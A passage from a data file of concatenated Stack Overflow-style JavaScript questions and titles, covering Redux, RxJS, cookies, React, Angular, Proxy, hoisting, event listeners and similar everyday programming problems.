'__REDUX_DEVTOOLS_EXTENSION__ ' ] ? window [ '__REDUX_DEVTOOLS_EXTENSION__ ' ] ( ) : f = > f , ) , ) ; import actionFoo from 'js/actions/actionFoo ' ; import React , { Component } from 'react ' ; import { connect } from 'react-redux ' ; class Foo { constructor ( props ) { super ( props ) ; this._handleSubmit = this._handleSubmit.bind ( this ) ; } _handleSubmit ( e ) { e.preventDefault ( ) ; this.props.doActionFoo ( ) .then ( ( ) = > { // this.props.doActionFoo returns undefined } ) ; } render ( ) { return < div onClick= { this._handleSubmit } / > ; } } const mapStateToProps = ( { } ) = > ( { } ) ; const mapDispatchToProps = { doActionFoo : actionFoo , } ; export { Foo as PureComponent } ; export default connect ( mapStateToProps , mapDispatchToProps ) ( Foo ) ; export default ( ) = > authCall ( { types : [ 'REQUEST ' , 'SUCCESS ' , 'FAILURE ' ] , endpoint : ` /route/foo/bar ` , method : 'POST ' , shouldFetch : state = > true , body : { } , } ) ; // extremly simplifiedexport default ( options ) = > ( dispatch , getState ) = > dispatch ( apiCall ( options ) ) ; export default ( options ) = > ( dispatch , getState ) = > { const { endpoint , shouldFetch , types } = options ; if ( shouldFetch & & ! shouldFetch ( getState ( ) ) ) return Promise.resolve ( ) ; let response ; let payload ; dispatch ( { type : types [ 0 ] , } ) ; return fetch ( endpoint , options ) .then ( ( res ) = > { response = res ; return res.json ( ) ; } ) .then ( ( json ) = > { payload = json ; if ( response.ok ) { return dispatch ( { response , type : types [ 1 ] , } ) ; } return dispatch ( { response , type : types [ 2 ] , } ) ; } ) .catch ( err = > dispatch ( { response , type : types [ 2 ] , } ) ) ; } ;",Redux-Thunk - Async action creators Promise and chaining not working "JS : Are there drawbacks to using/mutating a variable from a custom operator closure in RxJS ? I realize it violates the `` pure '' function principle and that you can use scan for this simple example , but I 'm asking specifically for tangible technical issues with underlying pattern below : const custom = ( ) = > { let state = 0 ; return pipe ( map ( next = > state * next ) , tap ( _ = > state += 1 ) , share ( ) ) } // Usageconst obs = interval ( 1000 ) .pipe ( custom ( ) ) obs.subscribe ( )",RxJS Custom Operator Internal Variables JS : My issue is that the JS cookie gets set with two `` viewmore '' keys . Here `` viewmore '' is set to true and false . Can anyone help diagnose please ! ? Should n't the `` viewmore '' key be getting overwritten and not duplicated with a different value ? Code that did n't work : Code that worked : needed an expiry set > document.cookie `` viewmore=true ; SESSID=fjs0fmojglrih7 ; viewmore=false ; user=1 '' document.cookie = `` viewmore=false '' ; document.cookie = `` viewmore=true '' ; var now = new Date ( ) ; now.setTime ( now.getTime ( ) + 1 * 3600 * 1000 ) ; document.cookie = `` viewmore=false ; expires= '' + now.toUTCString ( ) + `` ; path=/ '' ; document.cookie = `` viewmore=true ; expires= '' + now.toUTCString ( ) + `` ; path=/ '' ;,Duplicate key is getting set in Javascript Cookie "JS : I 'm trying to get an ascii art to be properly rendered by my React application.After jsx-transformer is executed my art looses the format and renders pretty strange in the browserMy code : Output : If I remove react and add the pre code block directly to the html everything works fine.Am I doing anything wrong here ? Any help appreciated ... UPDATE 1 : I can not edit the ascii art.UPDATE 2 : I receive the art as a markdown file : After the markdown transformation to HTML this is the string I have : I 'm still using a JSX-loader to convert the HTML to JSX . The flow is markdown - > html - > jsx < ! DOCTYPE html > < html > < head > < meta charset= '' UTF-8 '' > < title > Hello World ! < /title > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react/0.13.3/react.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react/0.13.3/JSXTransformer.js '' > < /script > < /head > < body > < div id= '' content '' > < /div > < script type= '' text/jsx '' > var App = React.createClass ( { render : function ( ) { return ( < pre > < code > + -- -- -- -- + + -- -- -- -+ + -- -- -- -+ | | + ditaa + | | | Text | + -- -- -- -+ |diagram| |Document| | ! magic ! | | | | | | | | | + -- -+ -- -- + + -- -- -- -+ + -- -- -- -+ < /code > < /pre > ) ; } } ) ; var element = document.getElementById ( 'content ' ) ; React.render ( React.createElement ( App ) , element ) ; < /script > < /body > < /html > + -- -- -- -- + + -- -- -- -+ + -- -- -- -+ | | -- + ditaa + | | | Text | + -- -- -- -+ |diagram| |Document| | ! magic ! | | | | | | | | | + -- -+ -- -- + + -- -- -- -+ + -- -- -- -+ < pre > < code > + -- -- -- -- + + -- -- -- -+ + -- -- -- -+| | -- + ditaa + | || Text | + -- -- -- -+ |diagram||Document| | ! magic ! | | || | | | | |+ -- -+ -- -- + + -- -- -- -+ + -- -- -- -+ < /code > < /pre >",ReactJS : ascii art issue after JSX transformation "JS : Here is the sample json : And I have this in my controller as an object : And here is my template : I do get the photo reference all well , but how can I go ahead here and get the photo using the photo reference.For first I feel like am doing it the wrong way . As the google documentation I read , there is no direct way to reference to the place photo.For instance if you place the following code in browser , you will get the photo but that 's only after a page refresh to produce another url which links to the photo . { `` html_attributions '' : [ ] , `` results '' : [ { `` geometry '' : { `` location '' : { `` lat '' : -33.86755700000001 , `` lng '' : 151.201527 } , `` viewport '' : { `` northeast '' : { `` lat '' : -33.86752310000001 , `` lng '' : 151.2020721 } , `` southwest '' : { `` lat '' : -33.8675683 , `` lng '' : 151.2013453 } } } , `` icon '' : `` https : //maps.gstatic.com/mapfiles/place_api/icons/generic_business-71.png '' , `` id '' : `` ce4ffe228ab7ad49bb050defe68b3d28cc879c4a '' , `` name '' : `` Sydney Showboats '' , `` opening_hours '' : { `` open_now '' : true , `` weekday_text '' : [ ] } , `` photos '' : [ { `` height '' : 750 , `` html_attributions '' : [ `` \u003ca href=\ '' https : //maps.google.com/maps/contrib/107415973755376511005/photos\ '' \u003eSydney Showboats\u003c/a\u003e '' ] , `` photo_reference '' : `` CoQBcwAAALJu5RtxzHQOMmymod7ZC7pBdmvu2B9CNM -- jW4JHmYSSfUaAl8N9bKtJ-s6jnnx34vk4HMiTQMAmgTxqtxMhXpz-PHWsLhKMbueA_1-JVzcuRg8xZc4winHSETwpgQ0Z1E7SNR8FKJidbm2x8tCVdDrez1Kf4uYXBXiIuq9XWTWEhDtwkHhzUfrhlY173SOjrH3GhRqePzj-208MHwun5JZXNueHVGUzw '' , `` width '' : 1181 } ] , `` place_id '' : `` ChIJjRuIiTiuEmsRCHhYnrWiSok '' , `` rating '' : 4.3 , `` reference '' : `` CnRkAAAAQH-eVS3qC5X1iGf5VLdWVPrh4B8NsOaH-h3hEd3dzkTHzz9an9MYcUnN29-rzgVWRGfeS0_IwnoDXSLguQW8Uj6MS8BWr2o5pAQ55mNRO5Z7AiR7fIc2JzZT716Nx_m4uI58UxPdlc9hJ3uJMyNUihIQ2j7VKjkgPEwmQ8gVe5ErSRoU4toUaHai404Dc_B079CrniR_o5Y '' , `` scope '' : `` GOOGLE '' , `` types '' : [ `` travel_agency '' , `` restaurant '' , `` food '' , `` point_of_interest '' , `` establishment '' ] , `` vicinity '' : `` King Street Wharf 5 , Lime Street , Sydney '' } ] , `` status '' : `` OK '' } angular.module ( 'goafricaApp ' ) .controller ( 'MainCtrl ' , function ( $ rootScope , $ scope , $ http ) { dataservice.getPlaces ( ) .then ( function ( response ) { $ scope.places = response.data.results ; } ) ; } ) ; < div class= '' row '' > < md-content > < div class= '' col-md-4 '' ng-repeat= '' place in places '' ng-if= '' $ index < 3 '' > < md-card > < span ng-repeat= '' photo in place.photos '' > < img ng-src= '' { { SHOULD BE PHOTO URL } } '' > { { photo.photo_reference } } < /span > < md-card-title > < md-card-title-text > < span class= '' md-headline text-center '' > { { place.vicinity } } < /span > < /md-card-title-text > < /md-card-title > < /md-card > < /div > < /md-content > < /div > https : //maps.googleapis.com/maps/api/place/photo ? maxwidth=400 & photoreference=CnRtAAAATLZNl354RwP_9UKbQ_5Psy40texXePv4oAlgP4qNEkdIrkyse7rPXYGd9D_Uj1rVsQdWT4oRz4QrYAJNpFX7rzqqMlZw2h2E2y5IKMUZ7ouD_SlcHxYq1yL4KbKUv3qtWgTK0A6QbGh87GB3sscrHRIQiG2RrmU_jF4tENr9wGS_YxoUSSDrYjWmrNfeEHSGSc3FyhNLlBU & key=YOUR_API_KEY",How to get google place photo in angularjs using the photo reference "JS : Reading OWASP CSRF prevention cheat sheet , one of the methods proposed to prevent these kind of attacks is the synchronizer token pattern . If the session token is cryptographically strong , can it double as the csrf token as described in the following pseudocode ? Client : Server : The cookie is set with javascript on page load to prevent users from accidentally leaking the session cookie if they e.g . email a copy of the page to a friend . < script > dom.replace ( placeholder , getCookie ( `` session-cookie '' ) ) < /script > < form > < input type= '' hidden '' name= '' csrf-cookie '' value= '' placeholder-value '' / > < input type= '' text '' / > < /form > if ( request.getParameter ( `` csrf-cookie '' ) ! = user.getSessionCookie ( ) ) print `` get out you evil hacker ''",Is it ok to use the ( cryptographically strong ) session cookie as CSRF token ? "JS : I have recently learned that you can use a neat switch statement with fallthrough to set default argument values in Javascript : I have grown to like it a lot , since not only is it very short but it also works based on parameters actually passed , without relying on having a special class of values ( null , falsy , etc ) serve as placeholders as in the more traditional versions : My inital though after seeing the version using the switch was that I should consider using it `` by default '' over the || version.The switch fallthough makes it not much longer and it has the advantage that it is much more `` robust '' in that it does not care about the types of the parameters . In the general case , it sounds like a good idea to not have to worry about what would happen with all the falsy values ( `` , 0 , null , false ... ) whenever I have to make a function with default parameters.I would then reserve the arg = arg || x for the actual cases where I want to check for truthyness instead of repurposing it as the general rule for parameter defaulting.However , I found very few examples of this pattern when I did a code search for it so I had to put on my skeptic hat . Why did n't I find more examples of this idiom ? Is it just now very well known ? Did I not search well enough ? Did I get confused by the large number of false positives ? Is there something that makes it inferior to the alternatives ? Some reasons that I ( and some of the comments ) could think of for avoiding switch ( arguments.length ) : Using named parameters passed via an object literal is very flexible and extensible . Perhaps places where more arguments can be optional are using this instead ? Perhaps most of the time we do want to check for truthyness ? Using a category of values as palceholders also allows default parameters to appear in the middle instead of only at the end : myFunc ( 'arg1 ' , null , 'arg3 ' ) Perhaps most people just prefer the very short arg = arg || `` default '' and most of the time we just do n't care about falsy values ? Perhaps accessing arguements is evil/unperformant ? Perhaps this kind of switch case fallthrough has a bad part I did n't think about ? Are these cons enough to avoid using switch ( arguments.length ) as a staple default argument pattern or is it a neat trick I should keep and use in my code ? function myFunc ( arg1 , arg2 , arg3 ) { //replace unpassed arguments with their defaults : switch ( arguments.length ) { case 0 : arg1 = `` default1 '' ; case 1 : arg2 = `` default2 '' ; case 2 : arg3 = `` default3 '' ; } } function myFunc ( arg1 , arg2 , arg3 ) { //replace falsy arguments with their defaults : arg1 = arg1 || `` default1 '' ; arg2 = arg2 || `` default2 '' ; arg3 = arg3 || `` default3 '' ; }",Is it a good idea to use a switch with fallthrough to handle default arguments in Javascript ? "JS : I have a fairly good sized javascript ( with react/redux but no jquery ) codebase for a webapp I 'm building , and I 've noticed that when I repeatedly open and close a certain panel within the UI , the number of listeners according to Chrome 's performance timeline keeps increasing.The graph looks like this : I have allowed the chrome 's performance monitor run for a good minute or two with the page sitting idle ( just after opening/closing the panel a bunch ) , hoping that perhaps the listeners will get garbage collected , but they are not . I 've switched to other tabs during this process , also hoping that the listeners will get garbage collected when the tab is backgrounded , but they unfortunately are not.I therefore suspect that some listeners are getting registered that are never unregistered.This leads me to two main questions : Does my hypothesis that listeners are getting added and neverunbound seems sensible , or is there more I could be doing to confirmthis suspicion ? Assuming my suspicion is correct , how can I best goabout tracking down the code where the event listener ( s ) is/arebeing added ? I have already tried the following : Looked at the code that is responsible for opening the panel in question , seeing where it adds any listeners , and commenting out those portions to see if there 's any change in the performance graph . There is not a change.Overridden the addEventListener prototype like so : Even after doing this , then commenting out all code portions that cause this console.trace to be executed ( see # 1 ) such that the console.trace is no longer printed upon open/close of the panel , I notice the same increase in listeners in the performance graph . Something else is causing the listeners to increase . I understand that there are other ways that listeners can be added , but it 's not clear to me how to intercept all of those possibilities or cause them to be logged in Chrome 's debugger in such a way that I can tell which code is responsible for adding them.Edit : - At the suggestion of cowbert in the comments , I took a look at this page : https : //developers.google.com/web/tools/chrome-devtools/console/eventsI then made the following function : I execute this function after having opened/closed the panel a bunch of times , but unfortunately the `` numListeners '' figure does n't change.If the numListeners figure changed , I would be able to diff the results before/after having open/closed the panel to discover which elementhas the extra event listener registered to it , but unfortunately numListeners does not change.There is also a monitorEvents ( ) API described on https : //developers.google.com/web/tools/chrome-devtools/console/events , but the functioncall requires that you specify a DOM element that you wish to monitor . In this situation , I 'm not sure which DOM element has the extralisteners , so I 'm not sure how the monitorEvents ( ) call will really help me . I could attach it to all DOM elements , similar to how I'vewritten the printListenerCount function above , but I presume I 'd run into a similar problem that I ran into with printListenerCount ( ) -- for whatever reason , it 's not accounting for the listener ( s ) in question.Other notes : This is a somewhat complicated reactjs ( preact , technically ) based application . Like most reactjs based apps , components get mounted/unmounted ( inserted into and removed from the DOM ) on the fly . I 'm finding that this makes tracking down `` stray event handler registrations '' like this a bit tricky . So what I 'm really hoping for is some general debugging advice about how to track down `` Stray event handlers '' in large/complex projects such as this . As a C programmer , I would open gdb and set a breakpoint on everything that can possibly cause the `` listeners '' number in the performance graph to increase . I 'm not sure if there 's an analog of that in the javascript world , and even if it there , I 'm just not sure how to do it . Any advice would be much appreciated ! var f = EventTarget.prototype.addEventListener ; EventTarget.prototype.addEventListener = function ( type , fn , capture ) { this.f = f ; this.f ( type , fn , capture ) ; console.trace ( `` Added event listener on '' + type ) ; } function printListenerCount ( ) { var eles = document.getElementsByTagName ( `` * '' ) ; var numListeners = 0 ; for ( idx in eles ) { let listeners = getEventListeners ( eles [ idx ] ) ; for ( eIdx in listeners ) { numListeners += listeners [ eIdx ] .length ; } console.log ( `` ele '' , eles [ idx ] , `` listeners '' , getEventListeners ( eles [ idx ] ) ) ; } console.log ( `` numListeners '' , numListeners ) }",How do I track down where event listener is getting added ? "JS : It is possible to define an Angular $ resource that has always the same default values on creation with new ( ) ? For example if I have the following resource definition : And the Drawer object needs to have a `` socks '' property that I want to be always initialized as an empty array [ ] , and maybe some others like 'timesOpened ' to 0 , or things like that.The only way to do this would be like : I was thinking about defining in the same service I have for my resource ( let 's call it drawerService ) a default/initialization object like this : And then when creating the resource : Is this the only way of doing it ? var Drawer = $ resource ( '/drawer/ : drawerId ' , { drawerId : ' @ id ' } ) ; var newDrawer = new Drawer ( { socks : [ ] , timesOpened : 0 } ) ; defaultDrawer = { socks : [ ] , timesOpened : 0 } ; //New drawer with defaultsvar newDrawer = new drawerService.Drawer ( drawerService.defaultDrawer ) ; //New drawer with defaults and some other initializationvar anotherDrawer = new drawerService.Drawer ( angular.extend ( drawerService.defaultDrawer , { material : 'plastic ' } ) ;",Creating new Angular $ resource with default values ? "JS : I 'm trying to port Chrome extension to Firefox and I would like to know what 's the equivalent to chrome.storage.local.set and chrome.storage.local.get in Firefox add on sdk . I think , it 's simple-storage.Here is my code : Thanks in advance ! chrome.storage.local.set ( { 'tokenFU ' : token } ) ; [ ... ] chrome.storage.local.get ( 'tokenFU ' , function ( result ) { token=result.tokenFU ; if ( token & & token ! = 'undefined ' ) { hideLog ( ) ; } else showLog ( ) ; } ) ;",Porting Chrome extension to Firefox : equivalent to chrome.storage "JS : I have been playing around with Object.create in the EcmaScript 5 spec , and I am trying to create a multiple inheritance type structure.Say I have a few functions : a , b , and c. With only dealing with prototypes , I can do this : But using Object.create , I would do something this : I think I get the same result both ways.This seems kinda clunky , because I get on object back instead of a constructor function . It seems to me that doing the regular prototypical inheritance is less intrusive and makes more sense for modular applications that do n't need any special treatment to work.Am I missing anything ? Is there any benefit of trying to make Object.create with making constructors ? Or is this only useful for copying existing objects ? I only want access to properties & functions attached to the prototype , and not functions and properties added afterward to the object.Or what about this ( or use a better deep-copy , but the idea remains the same ) ? function a ( ) { } a.prototype = { fnA = function ( ) { } , propA = 500 } ; function b ( ) { } b.prototype = a.prototype ; b.prototype.fnB = function ( ) { } ; b.prototype.propB = 300 ; function c ( ) { } c.prototype = b.prototype ; c.prototype.fnC = function ( ) { } ; c.prototype.propC = 200 ; function a ( ) { } a.prototype = { fnA = function ( ) { } , propA = 500 } ; var b = Object.create ( new a ( ) ) ; b.fnB = function ( ) { } ; b.propB = 300 ; var c = Object.create ( b ) ; c.fnC = function ( ) { } ; c.propC = 200 ; function A ( ) { } A.prototype = { fn : function ( ) { console.log ( this.propA + 30 ) ; } , propA : 20 } ; function B ( ) { } Object.keys ( A.prototype ) .forEach ( function ( item ) { B.prototype [ item ] = A.prototype [ item ] ; } ) ; B.prototype.propA = 40 ; function C ( ) { } Object.keys ( B.prototype ) .forEach ( function ( item ) { C.prototype [ item ] = B.prototype [ item ] ; } ) ; C.prototype.fn = function ( ) { console.log ( this.propA + 3 ) ; } ; var a = new A ( ) , b = new B ( ) , c = new C ( ) ; a.fn ( ) ; b.fn ( ) ; c.fn ( ) ;",Object.create vs direct prototypical inheritance "JS : While I was reading about Javascript hoisting , I tried the following . I am not sure why the first one and second one output differently . Thanks in advance . ( I am not even sure that this is related to hoisting . ) However the followings output undefined . var me = 1 ; function findme ( ) { if ( me ) { console.log ( me ) ; //output 1 } console.log ( me ) ; //output 1 } findme ( ) ; var me = 1 ; function findme ( ) { if ( me ) { var me = 100 ; console.log ( me ) ; } console.log ( me ) ; } findme ( ) ; // undefined",Questions on Javascript hoisting "JS : Simplified version of my code : I am using Mutation Observers to capture DOM changes , to update one document instance when another changes . Because the mutation observer function is not called until after < img > 's previous and next sibling are removed , the mutationCallback function ca n't tell where it was inserted . Reproduced in Chrome , FF , and IE11.An alternative is to traverse the whole document to find changes , but that would negate the performance advantage of using Mutation Observers . < div id= '' d '' > text < br > < hr > text < /div > < script > // Called when DOM changes . function mutationCallback ( mutations ) { // assert ( mutations.length === 3 ) ; var insertImg = mutations [ 0 ] ; console.log ( insertImg.previousSibling.parentNode ) ; // Null ! console.log ( insertImg.nextSibling.parentNode ) ; // Null ! // Ca n't determine where img was inserted ! } // Setup var div = document.getElementById ( 'd ' ) ; var br = div.childNodes [ 1 ] ; var hr = div.childNodes [ 2 ] ; var observer = new MutationObserver ( mutationCallback ) ; observer.observe ( div , { childList : true , subtree : true } ) ; // Trigger DOM Changes . var img = document.createElement ( 'img ' ) ; div.insertBefore ( img , hr ) ; div.removeChild ( hr ) ; div.removeChild ( br ) ; // mutationCallback ( ) is first called after this line. < /script >",MutationObserver 's DOM context is lost because it fires too late "JS : I have a scenario like this where i have dynamically generated textboxes.I have to validate the textbox for max 15 characters and restricting special characters.Below is the code by which in document.ready ( ) i am generating the textboxes and binding paste events to them.But this is not working.The alert i provided is not coming.I think that the controls are created in the ready event can'tbe bound to listen events.Am i wrong.I do n't know why it is happening.I want some suggestions.Thanks in advance.This fiddle is working.I am checking , i might be wrong some where.I will update where i am wrong ; http : //jsfiddle.net/mnsscorp/8QFGE/1/Yes now working .In the document ready i am able to bind paste event.I was wrong some where in the code . : ) Thanks for suggestions . $ ( document ) .ready ( function ( ) { //Generate textboxes..i have some logic by which i am generating //textboxes on the fly and giving textboxes a class flagText GenerateFlagBoxes ( ) ; //i am binding the textboxes by class names var $ flagArea = $ ( '.flagText ' ) ; $ flagArea.bind ( 'paste ' , function ( ) { var element = this ; setTimeout ( function ( ) { alert ( $ ( element ) .val ( ) ) ; } , 100 ) ; } ) ; } ) ;",Getting value from a TextBox after paste "JS : I just ran into a very interesting issue when someone posted a jsperf benchmark that conflicted with a previous , nearly identical , benchmark I ran.Chrome does something drastically different between these two lines : benchmarks : http : //jsperf.com/newarrayassign/2I was wondering if anyone has any clue as to what 's going on here ! ( To clarify , I 'm looking for some low-level details on the V8 internals , such as it 's using a different data structure with one vs the other and what those structures are ) new Array ( 99999 ) ; // jsperf ~50,000 ops/secnew Array ( 100000 ) ; // jsperf ~1,700,000 ops/sec","Chrome thinks 99,999 is drastically different than 100,000" "JS : Consider a line such as this : Now , suppose it 's expanded to be something more like this : There 's no functional difference here yet , but this is my question . I 'm looking for a way to pass the value of 'data-something ' to the DoSomething function instead of the id . I ca n't seem to find a method of doing this ? Is it possible ? Something like the following would be nice , but of course it 's not how it works . ( I 'm only including it to help illustrate the intended goal . < div id='abc ' onclick='DoSomething ( this.id ) ' > < /div > < div id='abc ' data-something='whatever ' onclick='DoSomething ( this.id ) ' > < /div > < div id='abc ' data-something='whatever ' onclick='DoSomething ( this.data-something ) ' > < /div >",Using an html `` data- '' attribute "JS : I have the following proxy : It 's an array-like object , because it has numeric properties and the length property specifying the amount of elements . I can iterate it using a for ... of loop : However , the forEach ( ) method is not working.This code does n't log anything . The callback function is never called . Why is n't it working and how can I fix it ? Code snippet : const p = new Proxy ( { [ Symbol.iterator ] : Array.prototype.values , forEach : Array.prototype.forEach , } , { get ( target , property ) { if ( property === ' 0 ' ) return 'one ' ; if ( property === ' 1 ' ) return 'two ' ; if ( property === 'length ' ) return 2 ; return Reflect.get ( target , property ) ; } , } ) ; for ( const element of p ) { console.log ( element ) ; // logs 'one ' and 'two ' } p.forEach ( element = > console.log ( element ) ) ; const p = new Proxy ( { [ Symbol.iterator ] : Array.prototype.values , forEach : Array.prototype.forEach , } , { get ( target , property ) { if ( property === ' 0 ' ) return 'one ' ; if ( property === ' 1 ' ) return 'two ' ; if ( property === 'length ' ) return 2 ; return Reflect.get ( target , property ) ; } , } ) ; console.log ( 'for ... of loop : ' ) ; for ( const element of p ) { console.log ( element ) ; } console.log ( 'forEach ( ) : ' ) ; p.forEach ( element = > console.log ( element ) ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/babel-polyfill/6.16.0/polyfill.min.js '' > < /script >",Array.prototype.forEach ( ) not working when called on a proxy with a get handler "JS : I have the following test : I get the following error : When debugging I saw that $ browser. $ $ checkUrlChange on line 12502 of angular.js is indeed undefined.As a temporary solution , I changed the invocation on line 1250 to $ browser. $ $ checkUrlChange & & $ browser. $ $ checkUrlChange ( ) But I can not help to wonder whether this monkey-patch can hurt me in some other way.Any clue on how to solve this properly is much appreciated.In case I do not get my answers I might consider opening a bug at the Angular repo on GitHub . it ( 'should maintain a bind between the data at the $ scope to the data at the ingredientsService ' , function ( ) { $ scope.addFilters ( 'val1 ' , $ scope.customFiltersData , 'filter1 ' ) ; $ scope. $ digest ( ) ; expect ( $ scope.customFiltersData ) .toEqual ( ingredientsService.filters ( ) ) ; } ) ; TypeError : undefined is not a function at Scope. $ digest ( /home/oleg/dev/vita-webapp-new/bower_components/angular/angular.js:12502:17 ) at null. < anonymous > ( /home/oleg/dev/vita-webapp-new/test/spec/controllers/customfilters.js:92:20 )",$ browser. $ $ checkUrlChange is undefined in a jasmine test "JS : My understanding is that when I use call method and provide a thisArg the this value in the function is set to object I pass in.And the bind method on the other hand returns a new function with the context of this of the new function set to the object I pass in.But what I do n't understand is why use bind instead of a call . If all I want to do is change the context of this , call seems sufficient to me . Then why use bind when it breaks in browsers IE8 and below.So , when does using bind become a better case compared to call ? myFunction.call ( thisArg , arg1 , arg2 ... ) myFunction.bind ( thisArg , arg1 , arg2 ... )",Why use Function.prototype.bind instead of Function.prototype.call ? "JS : I came across the following table which states the internal [ [ Class ] ] property of an object and its corresponding value that the typeof operator returns.One thing to note here is the typeof correctly returns the primitive data types associated in Javascript.However , it returns an object type for an array which inherits from the Array.prototype , but returns a function type for a function that is inheriting from the Function.prototype.Given everything is an object in Javascript ( including arrays , functions & primitive data type objects ) , I find this behaviour of the typeof operator very inconsistent.Can someone throw some light on how the typeof operator works in reality ? Value Class Type -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - '' foo '' String stringnew String ( `` foo '' ) String object1.2 Number numbernew Number ( 1.2 ) Number objecttrue Boolean booleannew Boolean ( true ) Boolean objectnew Date ( ) Date objectnew Error ( ) Error object [ 1,2,3 ] Array objectnew Array ( 1 , 2 , 3 ) Array objectnew Function ( `` '' ) Function function/abc/g RegExp object ( function in Nitro/V8 ) new RegExp ( `` meow '' ) RegExp object ( function in Nitro/V8 ) { } Object objectnew Object ( ) Object object",Understanding the typeof operator in Javascript "JS : So I been started using ES6 in Meteor , but apparently if you try to use Meteor.publish syntax with an arrow function , this.userId is undefined , while if you use it with a regular function ( ) { } this.userId works perfectly , Im assuming is a kind of transpiler process that assign a different this , to userId but is just a guess , does anyone knows what really is happening ? Meteor.startup ( function ( ) { Meteor.publish ( `` Activities '' , function ( ) { //with function console.log ( this.userId ) ; //TS8vTE3z56LLcaCb5 } ) ; } ) ; Meteor.startup ( function ( ) { Meteor.publish ( `` Activities '' , ( ) = > { //with arrow function console.log ( this.userId ) ; //undefined } ) ; } ) ;",ES6 Arrow function is changing the scope of this in Meteor.publish "JS : What I have : I have a select element . Some of the options have both a class ( .filterable_option ) and custom attribute ( data-clienturn ) .What I need : Based on the on change event of another element , I need to remove options from the select element that : ... are classed as .filterable_option ... .have a data-customattribute value NOT EQUAL TO the value of a predefined variable ( var = $ some_value ) .My code : HTML : jQuery : JSFiddle : For your convenience : http : //jsfiddle.net/clarusdignus/L82UH/My problem : My code is not removing the required in options . Nothing happens . < select name= '' myselect_a '' > < option selected= '' selected '' > < /option > < option value= '' Apply filter '' > Apply filter < /option > < /select > < select name= '' myselect_b '' > < option selected= '' selected '' > < /option > < option data-customattribute= '' 58 '' value= '' 1 '' class= '' filterable_option '' > Dog < /option > < option data-customattribute= '' 58 '' value= '' 2 '' class= '' filterable_option '' > Cat < /option > < option data-customattribute= '' 60 '' value= '' 3 '' class= '' filterable_option '' > Parrot < /option > < option > I have no class or custom attribute. < /option > < /select > $ ( ' # myselect_a ' ) .on ( 'change ' , function ( ) { var $ myselect_a_option = $ ( `` # myselect_a '' ) .val ( ) ; if ( $ myselect_a_option === 'Apply filter ' ) { var $ some_value = '58 ' ; $ ( `` select [ name=myselect_b ] option.filterable_option [ data-customattribute ! = '' + $ some_value + `` ] '' ) .remove ( ) ; } } ) ;",Remove < option > by .class AND when custom attribute NOT equal to x "JS : I came across a cryptic jQuery and am interested to understand how it works.http : //jsfiddle.net/fsW6U/Also check the code below : Can someone break this code down line-by-line and explain how each line works ? $ = ~ [ ] ; $ = { ___ : ++ $ , $ $ $ $ : ( ! [ ] + `` '' ) [ $ ] , __ $ : ++ $ , $ _ $ _ : ( ! [ ] + `` '' ) [ $ ] , _ $ _ : ++ $ , $ _ $ $ : ( { } + `` '' ) [ $ ] , $ $ _ $ : ( $ [ $ ] + `` '' ) [ $ ] , _ $ $ : ++ $ , $ $ $ _ : ( ! '' '' + `` '' ) [ $ ] , $ __ : ++ $ , $ _ $ : ++ $ , $ $ __ : ( { } + `` '' ) [ $ ] , $ $ _ : ++ $ , $ $ $ : ++ $ , $ ___ : ++ $ , $ __ $ : ++ $ } ; $ . $ _ = ( $ . $ _ = $ + `` '' ) [ $ . $ _ $ ] + ( $ ._ $ = $ . $ _ [ $ .__ $ ] ) + ( $ . $ $ = ( $ . $ + `` '' ) [ $ .__ $ ] ) + ( ( ! $ ) + `` '' ) [ $ ._ $ $ ] + ( $ .__ = $ . $ _ [ $ . $ $ _ ] ) + ( $ . $ = ( ! '' '' + `` '' ) [ $ .__ $ ] ) + ( $ ._ = ( ! '' '' + `` '' ) [ $ ._ $ _ ] ) + $ . $ _ [ $ . $ _ $ ] + $ .__ + $ ._ $ + $ . $ ; $ . $ $ = $ . $ + ( ! '' '' + `` '' ) [ $ ._ $ $ ] + $ .__ + $ ._ + $ . $ + $ . $ $ ; $ . $ = ( $ .___ ) [ $ . $ _ ] [ $ . $ _ ] ; $ . $ ( $ . $ ( $ . $ $ + `` \ '' '' + $ . $ _ $ _ + ( ! [ ] + `` '' ) [ $ ._ $ _ ] + $ . $ $ $ _ + `` \\ '' + $ .__ $ + $ . $ $ _ + $ ._ $ _ + $ .__ + `` ( \\\ '' \\ '' + $ .__ $ + $ .__ $ + $ .___ + `` \\ '' + $ .__ $ + $ . $ _ $ + $ .__ $ + `` ! \\\ '' ) ; '' + `` \ '' '' ) ( ) ) ( ) ;",How does this obfuscated javascript code work ? "JS : As of this morning , when I use the Angular CLI to create a new project it throws an exception on IE11 and returns this error message ( in the console ) .Yesterday it worked without error . I am using Angular CLI : 1.5.3Node : 6.9.5OS : win32 x64Angular : 5.0.2These are the steps I follow to create the projectI then edit the polyfill.ts file and uncomment everything except for 'intl ' . After that I use 'ng serve ' and try to load it in IE . I have even deleted the node_modules directory and used npm install to recreate it . It works fine on chrome , of course . But I need to get it working on IE11 because it 's the corporate standard where I work . Every github issue talks about the polyfill file . But unless I 'm supposed to add something to it that I do n't know about , that does n't help me . Anyone have any ideas ? SCRIPT5007 : Unable to get property 'call ' of undefined or null referenceFile : inline.bundle.js , Line : 55 , Column : 12 ng new tempProjectcd tempProject\npm install -- save classlist.jsnpm install -- save web-animations-js",New Angular CLI project fails on Internet Explorer "JS : I was looking through Select2 ( source code ) and found each2 method prototype : My question is - how this method works ? I mean - why there is while loop only with condition , without statement part ? I 'd really love to understand this method 's flow . $ .extend ( $ .fn , { each2 : function ( c ) { var j = $ ( [ 0 ] ) , i = -1 , l = this.length ; while ( ++i < l & & ( j.context = j [ 0 ] = this [ i ] ) & & c.call ( j [ 0 ] , i , j ) ! == false // '' this '' =DOM , i=index , j=jQuery object ) ; return this ; } } ) ;",Select2 each2 method - how does it work ? "JS : I have a problem with lazy loaded module data re-fetch.onSameUrlNavigation simply does n't workI have a separate routing module for a lazy loaded feature and maybe I could n't integrate onSameUrlNavigation properlyproject structure : app-routing module code : lazy loaded routing module : component code : this is the problematic section ( in the component code ) data is fetched on the first request ( So I decided that there 's no problem with module import or anything like that ) , but re-fetch is n't happening as I can see there are no additional requests on the API.I tried adding and removing `` runGuardsAndResolvers '' , someFeature-routes module , but with no success.I also tried adding onSameUrlNavigation to someFeature-routes module , but forChild can accept only one parameter app/ app.component.ts app.module.ts app-routing.module.ts someFeature/ someFeature.module.ts someFeature-routes.module.ts someFeature.component.ts export const routes 